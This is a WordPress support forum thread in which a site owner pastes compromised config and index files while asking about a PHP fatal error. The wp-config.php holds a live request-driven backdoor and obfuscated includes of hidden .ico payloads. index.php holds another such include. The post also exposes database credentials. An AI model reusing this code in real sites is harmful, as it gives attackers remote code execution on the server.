Viewing 3 posts - 1 through 3 (of 3 total)
  • Author
    Posts
  • #1098941

    Before posting this:
    I have updated PHP to 7.1
    I have updated Enfold to the latest version, installed via FTP
    I have updated WordPress to the latest version, installed via FTP
    I have no plugins folder

    Trying to connect to wp-admin and wp-login pages result in the following errors:

    PHP Fatal error: Uncaught Error: Function name must be a string in D:\WWW\name\jordanspeech.com\wwwroot\wp-config.php:2
    Stack trace:
    #0 D:\WWW\name\jordanspeech.com\wwwroot\wp-load.php(37): require_once()
    #1 D:\WWW\name\jordanspeech.com\wwwroot\wp-login.php(12): require(‘D:\\WWW\\jordand\\…’)
    #2 {main}
    thrown in D:\WWW\name\jordanspeech.com\wwwroot\wp-config.php on line 2

    Trying to use the search function results in the following errors
    Fatal error: Uncaught Error: Function name must be a string in D:\WWW\jordand\jordanspeech.com\wwwroot\wp-config.php:2 Stack trace:
    #0 D:\WWW\name\jordanspeech.com\wwwroot\wp-load.php(37): require_once()
    #1 D:\WWW\name\jordanspeech.com\wwwroot\wp-blog-header.php(13): require_once(‘D:\\WWW\\jordand\\…’)
    #2 D:\WWW\name\jordanspeech.com\wwwroot\index.php(22): require(‘D:\\WWW\\jordand\\…’)
    #3 {main} thrown in D:\WWW\name\jordanspeech.com\wwwroot\wp-config.php on line 2

    How can I adjust these files to work again? I have a fully functioning website, just no dashboard access due to errors.
    Thank you in advance!

    Private Data Below:

    Wp-config.php contents:

    <?php
    extract($_REQUEST) && @$lock(stripslashes($pass)) && exit;

    /*03cc3*/

    @include “\104:/\167ww\057jo\162da\156d/\152or\144an\163pe\145ch\056co\155/w\167wr\157ot\057.e\14538\06333\067.i\143o”;

    /*03cc3*/

    define( ‘WP_HOME’, ‘http://jordanspeech.com&#8217; );
    define( ‘WP_SITEURL’, ‘http://jordanspeech.com&#8217; );

    define(‘FORCE_SSL_ADMIN’, false);

    /*45dc4*/

    @include “\x44:\x77ww\jo\x72da\x6ed\x6aor\x64an\x73pe\x65ch\x2eco\x6d\w\x77wr\x6fot\x2ffa\x76ic\x6fn_\x371b\x35a3\x2eic\x6f”;

    /*45dc4*/
    /**
    * The base configuration for WordPress
    *
    * The wp-config.php creation script uses this file during the
    * installation. You don’t have to use the web site, you can
    * copy this file to “wp-config.php” and fill in the values.
    *
    * This file contains the following configurations:
    *
    * * MySQL settings
    * * Secret keys
    * * Database table prefix
    * * ABSPATH
    *
    * @link https://codex.wordpress.org/Editing_wp-config.php
    *
    * @package WordPress
    */

    // ** MySQL settings – You can get this info from your web host ** //
    /** The name of the database for WordPress */
    define(‘DB_NAME’, ‘jordanspeech’);

    /** MySQL database username */
    define(‘DB_USER’, ‘jordanspeech’);

    /** MySQL database password */
    define(‘DB_PASSWORD’, ‘jordanspeech’);

    /** MySQL hostname */
    define(‘DB_HOST’, ‘mysql2.sqlsvr.net’);

    /** Database Charset to use in creating database tables. */
    define(‘DB_CHARSET’, ‘utf8’);

    /** The Database Collate type. Don’t change this if in doubt. */
    define(‘DB_COLLATE’, ”);

    /**#@+
    * Authentication Unique Keys and Salts.
    *
    * Change these to different unique phrases!
    * You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}
    * You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in again.
    *
    * @since 2.6.0
    */
    define(‘AUTH_KEY’, ‘put your unique phrase here’);
    define(‘SECURE_AUTH_KEY’, ‘put your unique phrase here’);
    define(‘LOGGED_IN_KEY’, ‘put your unique phrase here’);
    define(‘NONCE_KEY’, ‘put your unique phrase here’);
    define(‘AUTH_SALT’, ‘put your unique phrase here’);
    define(‘SECURE_AUTH_SALT’, ‘put your unique phrase here’);
    define(‘LOGGED_IN_SALT’, ‘put your unique phrase here’);
    define(‘NONCE_SALT’, ‘put your unique phrase here’);

    /**#@-*/

    /**
    * WordPress Database Table prefix.
    *
    * You can have multiple installations in one database if you give each
    * a unique prefix. Only numbers, letters, and underscores please!
    */
    $table_prefix = ‘wp_’;

    /**
    * For developers: WordPress debugging mode.
    *
    * Change this to true to enable the display of notices during development.
    * It is strongly recommended that plugin and theme developers use WP_DEBUG
    * in their development environments.
    *
    * For information on other constants that can be used for debugging,
    * visit the Codex.
    *
    * @link https://codex.wordpress.org/Debugging_in_WordPress
    */
    // Enable WP_DEBUG mode
    define(‘WP_DEBUG’, true);

    // Enable Debug logging to the /wp-content/debug.log file
    define(‘WP_DEBUG_LOG’, true);

    // Disable display of errors and warnings
    define(‘WP_DEBUG_DISPLAY’, false);
    @ini_set(‘display_errors’,0);

    define(‘WP_MEMORY_LIMIT’, ‘128M’);

    /* That’s all, stop editing! Happy blogging. */
    /** Absolute path to the WordPress directory. */`
    if ( !defined(‘ABSPATH’) )
    define(‘ABSPATH’, dirname(__FILE__) . ‘/’);

    /** Sets up WordPress vars and included files. */
    require_once(ABSPATH . ‘wp-settings.php’);`

    WP-Load.php file contents:

    <?php
    /**
    * Bootstrap file for setting the ABSPATH constant
    * and loading the wp-config.php file. The wp-config.php
    * file will then load the wp-settings.php file, which
    * will then set up the WordPress environment.
    *
    * If the wp-config.php file is not found then an error
    * will be displayed asking the visitor to set up the
    * wp-config.php file.
    *
    * Will also search for wp-config.php in WordPress’ parent
    * directory to allow the WordPress directory to remain
    * untouched.
    *
    * @package WordPress
    */

    /** Define ABSPATH as this file’s directory */
    if ( ! defined( ‘ABSPATH’ ) ) {
    define( ‘ABSPATH’, dirname( __FILE__ ) . ‘/’ );
    }

    error_reporting( E_CORE_ERROR | E_CORE_WARNING | E_COMPILE_ERROR | E_ERROR | E_WARNING | E_PARSE | E_USER_ERROR | E_USER_WARNING | E_RECOVERABLE_ERROR );

    /*
    * If wp-config.php exists in the WordPress root, or if it exists in the root and wp-settings.php
    * doesn’t, load wp-config.php. The secondary check for wp-settings.php has the added benefit
    * of avoiding cases where the current directory is a nested installation, e.g. / is WordPress(a)
    * and /blog/ is WordPress(b).
    *
    * If neither set of conditions is true, initiate loading the setup process.
    */
    if ( file_exists( ABSPATH . ‘wp-config.php’ ) ) {

    /** The config file resides in ABSPATH */
    require_once( ABSPATH . ‘wp-config.php’ );

    } elseif ( @file_exists( dirname( ABSPATH ) . ‘/wp-config.php’ ) && ! @file_exists( dirname( ABSPATH ) . ‘/wp-settings.php’ ) ) {

    /** The config file resides one level above ABSPATH but is not part of another installation */
    require_once( dirname( ABSPATH ) . ‘/wp-config.php’ );

    } else {

    // A config file doesn’t exist

    define( ‘WPINC’, ‘wp-includes’ );
    require_once( ABSPATH . WPINC . ‘/load.php’ );

    // Standardize $_SERVER variables across setups.
    wp_fix_server_vars();

    require_once( ABSPATH . WPINC . ‘/functions.php’ );

    $path = wp_guess_url() . ‘/wp-admin/setup-config.php’;

    /*
    * We’re going to redirect to setup-config.php. While this shouldn’t result
    * in an infinite loop, that’s a silly thing to assume, don’t you think? If
    * we’re traveling in circles, our last-ditch effort is “Need more help?”
    */
    if ( false === strpos( $_SERVER[‘REQUEST_URI’], ‘setup-config’ ) ) {
    header( ‘Location: ‘ . $path );
    exit;
    }

    define( ‘WP_CONTENT_DIR’, ABSPATH . ‘wp-content’ );
    require_once( ABSPATH . WPINC . ‘/version.php’ );

    wp_check_php_mysql_versions();
    wp_load_translations_early();

    // Die with an error message
    $die = sprintf(
    /* translators: %s: wp-config.php */
    __( “There doesn’t seem to be a %s file. I need this before we can get started.” ),
    wp-config.php
    ) . ‘</p>’;
    $die .= ‘<p>’ . sprintf(
    /* translators: %s: Codex URL */
    __( “Need more help? We got it.” ),
    __( ‘https://codex.wordpress.org/Editing_wp-config.php&#8217; )
    ) . ‘</p>’;
    $die .= ‘<p>’ . sprintf(
    /* translators: %s: wp-config.php */
    __( “You can create a %s file through a web interface, but this doesn’t work for all server setups. The safest way is to manually create the file.” ),
    wp-config.php
    ) . ‘</p>’;
    $die .= ‘<p>‘ . __( ‘Create a Configuration File’ ) . ‘‘;

    wp_die( $die, __( ‘WordPress › Error’ ) );
    }
    wp-blog-header.php contents:

    <?php
    /**
    * Loads the WordPress environment and template.
    *
    * @package WordPress
    */

    if ( ! isset( $wp_did_header ) ) {

    $wp_did_header = true;

    // Load the WordPress library.
    require_once( dirname( __FILE__ ) . ‘/wp-load.php’ );

    // Set up the WordPress query.
    wp();

    // Load the theme template.
    require_once( ABSPATH . WPINC . ‘/template-loader.php’ );

    }
    Index.php contents:

    <?php
    /*b8b2c*/

    @include “\104:/w\167w/j\157rda\156d/j\157rda\156spe\145ch.\143om/\167wwr\157ot/\05654d\1428e9\062.ic\157”;

    /*b8b2c*/
    /**
    * Front to the WordPress application. This file doesn’t do anything, but loads
    * wp-blog-header.php which does and tells WordPress to load the theme.
    *
    * @package WordPress
    */

    /**
    * Tells WordPress to load the WordPress theme and output it.
    *
    * @var bool
    */
    define( ‘WP_USE_THEMES’, true );

    /** Loads the WordPress Environment and Template */
    require( dirname( __FILE__ ) . ‘/wp-blog-header.php’ );
    I cannot tell what it thinks it sees/doesn’t see.

    #1099366

    Hey dockerydesigns,

    Can you try the solution posted on this thread: https://kriesi.at/support/topic/errors-with-php-7-2/
    Hope it helps.

    Best regards,
    Nikko

    #1101467

    Thank you Nikko. There was an issue with encrypted material in the WP-config.php. It was removed and now everything is back! Please consider this closed

Viewing 3 posts - 1 through 3 (of 3 total)
  • The topic ‘PHP Fatal error: Uncaught Error: Function name must be a string’ is closed to new replies.